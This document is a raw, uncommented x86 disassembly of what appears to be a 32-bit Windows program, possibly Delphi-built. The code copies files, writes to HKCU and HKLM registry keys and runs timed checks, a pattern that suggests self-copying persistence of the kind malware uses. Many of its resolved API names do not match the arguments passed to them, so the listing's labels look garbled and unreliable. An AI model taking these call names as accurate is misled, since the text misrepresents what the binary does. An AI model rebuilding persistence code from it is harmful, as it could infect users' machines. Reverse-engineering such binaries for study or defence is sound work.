mov ecx, 0x41221c
mov edx, 0x41251c
call fcn.0040c024
mov eax, dword [ebp - 0x358]
xor edx, edx
call fcn.0040cc7c
mov dword [0x417ac0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41135b
cmp dword [0x417ac0], 1
jne 0x4114b1
mov eax, dword [0x417a78]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x360]
call fcn.0040411c
mov eax, dword [ebp - 0x360]
call fcn.0040bc24
test al, al
je 0x4114b1
push 0x412534
lea edx, [ebp - 0x368]
mov eax, dword [0x417ab0]
call fcn.00409c3c
push dword [ebp - 0x368]
push 0x412544
lea eax, [ebp - 0x370]
call fcn.0040d33c
mov eax, dword [ebp - 0x370]
lea edx, [ebp - 0x36c]
call fcn.00409c3c
push dword [ebp - 0x36c]
push 0x412408
lea edx, [ebp - 0x374]
mov eax, dword [0x417aa0]
call fcn.00409c3c
push dword [ebp - 0x374]
push 0x412554
lea edx, [ebp - 0x378]
mov eax, dword [0x417a7c]
call fcn.00409c3c
push dword [ebp - 0x378]
push 0x41241c
push dword [0x417ab0]
push dword [0x417aa0]
lea eax, [ebp - 0x384]
call fcn.0040d33c
push dword [ebp - 0x384]
push dword [0x417a7c]
push dword [0x417aa8]
lea eax, [ebp - 0x380]
mov edx, 5
call fcn.00404280
mov eax, dword [ebp - 0x380]
lea edx, [ebp - 0x258]
call fcn.0040ac38
lea eax, [ebp - 0x258]
lea edx, [ebp - 0x37c]
call fcn.0040acac
push dword [ebp - 0x37c]
lea eax, [ebp - 0x364]
mov edx, 0xa
call fcn.00404280
mov eax, dword [ebp - 0x364]
push eax
mov eax, dword [0x417a78]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x388]
call fcn.0040411c
mov eax, dword [ebp - 0x388]
push eax
mov ecx, 0x41242c
pop eax
pop edx
call fcn.00409f3c
mov eax, dword [0x417a50]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x394]
call fcn.0040411c
mov eax, dword [ebp - 0x394]
lea edx, [ebp - 0x390]
call fcn.0040c5b8
mov eax, dword [ebp - 0x390]
lea edx, [ebp - 0x38c]
call fcn.0040e588
mov edx, dword [ebp - 0x38c]
mov eax, 0x417aa4
call fcn.00403f94
lea edx, [ebp - 0x398]
mov eax, dword [0x417aa4]
call fcn.004061dc
cmp dword [ebp - 0x398], 0
je 0x41169a
lea eax, [ebp - 0x39c]
push eax
mov eax, dword [0x417aa4]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3a0]
call fcn.0040411c
mov eax, dword [ebp - 0x3a0]
mov ecx, 0x41221c
mov edx, 0x412274
call fcn.0040c024
mov eax, dword [ebp - 0x39c]
xor edx, edx
call fcn.0040cc7c
mov dword [0x41af9c], eax
lea eax, [ebp - 0x3a4]
push eax
push 0x412274
lea edx, [ebp - 0x3b0]
mov eax, dword [0x41af9c]
call fcn.004060f8
push dword [ebp - 0x3b0]
push 0x412568
lea eax, [ebp - 0x3ac]
mov edx, 3
call fcn.00404280
mov eax, dword [ebp - 0x3ac]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3a8]
call fcn.0040411c
mov eax, dword [ebp - 0x3a8]
push eax
mov eax, dword [0x417aa4]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3b4]
call fcn.0040411c
mov eax, dword [ebp - 0x3b4]
mov ecx, 0x412248
pop edx
call fcn.0040c024
mov edx, dword [ebp - 0x3a4]
mov eax, 0x41afa0
call fcn.00403f94
mov eax, dword [0x41afa0]
call fcn.0040bc24
test al, al
je 0x41160e
mov eax, dword [0x41afa0]
call fcn.004043c0
mov edx, eax
mov eax, 0x417a8c
call fcn.0040411c
mov eax, dword [0x417a8c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3b8]
call fcn.0040411c
mov eax, dword [ebp - 0x3b8]
call fcn.0040bc24
test al, al
je 0x41169a
cmp dword [0x41af9c], 1
jne 0x41169a
push 0x41256c
push 0x4124c4
push 0x80000001
lea eax, [ebp - 0x3bc]
push eax
call fcn.0040c398
mov eax, dword [ebp - 0x3bc]
mov edx, 0x4121fc
call fcn.0040430c
je 0x41169a
call fcn.0040e6b0
push 0x4121fc
push 0x41257c
lea eax, [ebp - 0x3c0]
mov edx, 0x4124c4
call fcn.0040411c
mov eax, dword [ebp - 0x3c0]
push eax
push 0x80000001
call fcn.0040e134
mov dl, 1
mov eax, dword [0x40ba1c]
call fcn.0040357c
mov esi, eax
mov dl, 1
mov eax, dword [0x40ad90]
call fcn.0040ade4
mov ebx, eax
mov edx, 0x7d0
mov eax, ebx
call fcn.0040ae74
push esi
push 0x40e640
mov eax, ebx
call fcn.0040ae60
mov dl, 1
mov eax, ebx
call fcn.0040ae78
lea eax, [ebp - 0x3c8]
mov edx, 0x412584
call fcn.0040411c
mov eax, dword [ebp - 0x3c8]
lea edx, [ebp - 0x3c4]
call fcn.0040c660
mov edx, dword [ebp - 0x3c4]
mov eax, 0x417a28
call fcn.00403f94
mov dl, 1
mov eax, dword [0x40ba1c]
call fcn.0040357c
mov dword [0x417ac8], eax
mov dl, 1
mov eax, dword [0x40ad90]
call fcn.0040ade4
mov ebx, eax
mov edx, 0x7d0
mov eax, ebx
call fcn.0040ae74
mov eax, dword [0x417ac8]
push eax
push 0x40f09c
mov eax, ebx
call fcn.0040ae60
mov dl, 1
mov eax, ebx
call fcn.0040ae78
push 0
lea eax, [ebp - 0x3d0]
call fcn.0040c48c
mov eax, dword [ebp - 0x3d0]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3cc]
call fcn.0040411c
mov eax, dword [ebp - 0x3cc]
push eax
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3d4]
call fcn.0040411c
mov eax, dword [ebp - 0x3d4]
xor ecx, ecx
pop edx
call fcn.0040cd0c
mov dword [0x416864], eax
mov dl, 1
mov eax, dword [0x40ba1c]
call fcn.0040357c
mov ebx, eax
mov dl, 1
mov eax, dword [0x40ad90]
call fcn.0040ade4
mov dword [0x417ac4], eax
imul edx, dword [0x417abc], 0xea60
mov eax, dword [0x417ac4]
call fcn.0040ae74
push ebx
push 0x40e86c
mov eax, dword [0x417ac4]
call fcn.0040ae60
mov dl, 1
mov eax, dword [0x417ac4]
call fcn.0040ae78
xor eax, eax
push ebp
push 0x411a4e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040ba94
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3d8]
call fcn.0040411c
mov eax, dword [ebp - 0x3d8]
mov edx, 1
call fcn.0040d9bc
mov eax, dword [0x416860]
sub eax, 1
jb 0x411844
dec eax
je 0x4119d5
jmp 0x411a31
mov eax, dword [0x417a9c]
call fcn.004043c0
call fcn.0040bd70
test al, al
je 0x411a31
mov eax, dword [0x417a68]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3dc]
call fcn.0040411c
mov eax, dword [ebp - 0x3dc]
call fcn.0040dcbc
test al, al
je 0x411a31
mov dword [0x416860], 1
mov eax, dword [0x417a94]
push eax
call fcn.0040557c
xor eax, eax
push ebp
push 0x4119cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x417a6c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3e0]
call fcn.0040411c
mov eax, dword [ebp - 0x3e0]
call fcn.00406294
test al, al
je 0x411902
push 0
mov eax, dword [0x417a6c]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a6c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3e4]
call fcn.0040411c
mov eax, dword [ebp - 0x3e4]
call fcn.00406360
push 0
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a6c]
call fcn.004043c0
push eax
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call fcn.004056f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411a31
push 0
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
mov eax, dword [0x417a68]
call fcn.004043c0
push eax
call fcn.00405584
test eax, eax
je 0x41199d
push 0
mov eax, dword [0x417a6c]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a6c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3e8]
call fcn.0040411c
mov eax, dword [ebp - 0x3e8]
call fcn.00406360
mov dword [0x416860], 2
jmp 0x4119b8
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
mov eax, dword [0x417a6c]
call fcn.004043c0
push eax
call fcn.004056f4
push 6
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
ret
mov eax, dword [0x416864]
call fcn.0040be84
test al, al
je 0x4119ed
mov eax, dword [0x416864]
call fcn.0040bef0
push 0
push dword [0x417a44]
push 0x4125b0
push 0x4125bc
lea eax, [ebp - 0x3ec]
mov edx, 3
call fcn.00404280
mov eax, dword [ebp - 0x3ec]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_EnterCriticalSection
push 0x2bc
call sub.KERNEL32.DLL_lstrlenA
push 0
call fcn.004055dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4117f4
push 0x320
call sub.KERNEL32.DLL_lstrlenA
call fcn.0040ba94
ret
push 0
call fcn.004055dc
mov eax, 0x4125c4
xor edx, edx
call fcn.0040ce8c
push 0
push 0
push 2
push 0
push 1
push 0xc0000000
mov eax, dword [0x417a38]
call fcn.004043c0
push eax
call fcn.00405594
mov ebx, eax
cmp ebx, 0xffffffff
je 0x411ace
push 0
push 0
push 0
push ebx
call sub.KERNEL32.DLL_GetStartupInfoA
push 0
push 0x417a2c
push 0x3521
mov eax, dword [0x41694c]
push eax
push ebx
call sub.KERNEL32.DLL_LeaveCriticalSection
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0x411ace
push ebx
call fcn.0040557c
mov eax, 0x4125c4
mov dl, 1
call fcn.0040ce8c
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
lea edx, [ebp - 0x3f0]
xor eax, eax
call fcn.004027cc
mov eax, dword [ebp - 0x3f0]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x411d89
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3f4]
call fcn.0040411c
mov eax, dword [ebp - 0x3f4]
call fcn.00406294
test al, al
je 0x411b4f
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3f8]
call fcn.0040411c
mov eax, dword [ebp - 0x3f8]
call fcn.0040c278
test al, al
jne 0x411cd6
xor eax, eax
push ebp
push 0x411ccc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x3fc]
call fcn.0040411c
mov eax, dword [ebp - 0x3fc]
call fcn.00406360
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411cd6
mov eax, dword [0x417a64]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x400]
call fcn.0040411c
mov eax, dword [ebp - 0x400]
call fcn.00406294
test al, al
je 0x411bf8
push 0
mov eax, dword [0x417a64]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a64]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x404]
call fcn.0040411c
mov eax, dword [ebp - 0x404]
call fcn.00406360
push 0
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
lea edx, [ebp - 0x408]
xor eax, eax
call fcn.004027cc
mov eax, dword [ebp - 0x408]
call fcn.004043c0
push eax
call fcn.00405584
push 6
mov eax, dword [0x417a44]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
push 0
push dword [0x417a44]
push 0x4125b0
push 0x4125d4
lea eax, [ebp - 0x40c]
mov edx, 3
call fcn.00404280
mov eax, dword [ebp - 0x40c]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_EnterCriticalSection
xor eax, eax
push ebp
push 0x411cc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x417a80]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x410]
call fcn.0040411c
mov eax, dword [ebp - 0x410]
push eax
mov eax, dword [0x417a80]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x414]
call fcn.0040411c
mov eax, dword [ebp - 0x414]
pop edx
call fcn.0040cad4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x411ccb
ret
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x418]
call fcn.0040411c
mov eax, dword [ebp - 0x418]
push eax
lea edx, [ebp - 0x420]
mov eax, dword [0x417a44]
call fcn.00406044
mov eax, dword [ebp - 0x420]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x41c]
call fcn.0040411c
mov eax, dword [ebp - 0x41c]
push eax
lea eax, [ebp - 0x424]
mov edx, 0x4125dc
call fcn.0040411c
mov eax, dword [ebp - 0x424]
push eax
push 0x80000002
call fcn.0040e134
cmp byte [0x417a90], 0
je 0x411d7d
lea edx, [ebp - 0x42c]
xor eax, eax
call fcn.004027cc
mov eax, dword [ebp - 0x42c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x428]
call fcn.0040411c
mov eax, dword [ebp - 0x428]
call fcn.0040bcb8
push 0
call fcn.004055dc
jmp 0x411f1f
push 0x411ff4
lea edx, [ebp - 0x430]
mov eax, 1
call fcn.004027cc
mov eax, dword [ebp - 0x430]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
jne 0x411dce
push 0xbb8
call sub.KERNEL32.DLL_lstrlenA
mov eax, dword [0x417a98]
call fcn.004043c0
call fcn.0040bd70
test al, al
push 0x41260c
lea edx, [ebp - 0x434]
mov eax, 1
call fcn.004027cc
mov eax, dword [ebp - 0x434]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x411e80
push 0x411ff4
lea edx, [ebp - 0x438]
mov eax, 1
call fcn.004027cc
mov eax, dword [ebp - 0x438]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x411e80
mov eax, dword [0x417a80]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x43c]
call fcn.0040411c
mov eax, dword [ebp - 0x43c]
call fcn.00406294
test al, al
je 0x411e80
push 0
mov eax, dword [0x417a80]
call fcn.004043c0
push eax
call sub.KERNEL32.DLL_GetCommandLineA
mov eax, dword [0x417a80]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x440]
call fcn.0040411c
mov eax, dword [ebp - 0x440]
call fcn.00406360
mov ecx, 0x412614
mov edx, 0x412618
mov eax, 0x80000001
call fcn.0040e0e8
mov eax, dword [0x417a98]
call fcn.004043c0
call fcn.0040bd70
test al, al
jne 0x411f18
push 0
lea edx, [ebp - 0x448]
mov eax, 1
call fcn.004027cc
mov ecx, dword [ebp - 0x448]
lea eax, [ebp - 0x444]
mov edx, 0x4125b0
call fcn.0040420c
mov eax, dword [ebp - 0x444]
push eax
mov eax, dword [0x417a3c]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x44c]
call fcn.0040411c
mov eax, dword [ebp - 0x44c]
push eax
mov eax, dword [0x417a44]
call fcn.004043c0
mov edx, eax
lea eax, [ebp - 0x450]
call fcn.0040411c
mov eax, dword [ebp - 0x450]
pop edx
pop ecx
call fcn.0040cd0c
push 0
call fcn.004055dc
push 0
call fcn.004055dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411f91
lea eax, [ebp - 0x450]
mov edx, 0x64
call fcn.00403f64
lea eax, [ebp - 0x2c0]
mov edx, 0x1a
call fcn.00403f64
lea eax, [ebp - 0x248]
mov edx, 0x49
call fcn.00403f64
lea eax, [ebp - 0x120]
call fcn.00403f40
lea eax, [ebp - 0x124]
call fcn.00403f40
lea eax, [ebp - 0x11c]
mov edx, 0x41
call fcn.00403f64
ret